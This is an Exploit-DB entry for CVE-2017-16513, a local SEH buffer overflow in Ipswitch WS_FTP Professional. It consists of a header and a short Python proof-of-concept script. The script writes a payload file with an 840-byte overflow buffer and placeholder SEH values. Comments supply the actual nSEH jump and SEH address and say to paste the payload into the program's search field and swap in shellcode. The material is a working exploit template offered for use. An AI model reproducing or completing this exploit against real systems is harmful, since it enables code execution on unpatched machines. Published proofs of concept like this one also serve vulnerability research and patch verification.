Ipswitch WS_FTP Professional < 12.6.0.3 - Local Buffer Overflow (SEH)

EDB-ID: 43115
Author: Kevin McGuigan
Published: 2017-11-03
CVE: CVE-2017-16513
Type: Dos
Platform: Windows
Vulnerable App: N/A

 #Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH) 
#Author: Kevin McGuigan. Twitter: @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.ipswitch.com
#Date: 03/11/2017
#Version: 12.6.03
#CVE: CVE-2017-16513
#Tested on: Windows 7 32-bit
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode.
#nSEH = "\x74\x08\x90\x90"
#SEH = "\x31\x2D\x91\x23"

buffer = "A" * 840
nSEH = "B" * 4
SEH = "C" * 4


f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH + "D" * 200)
f.close()

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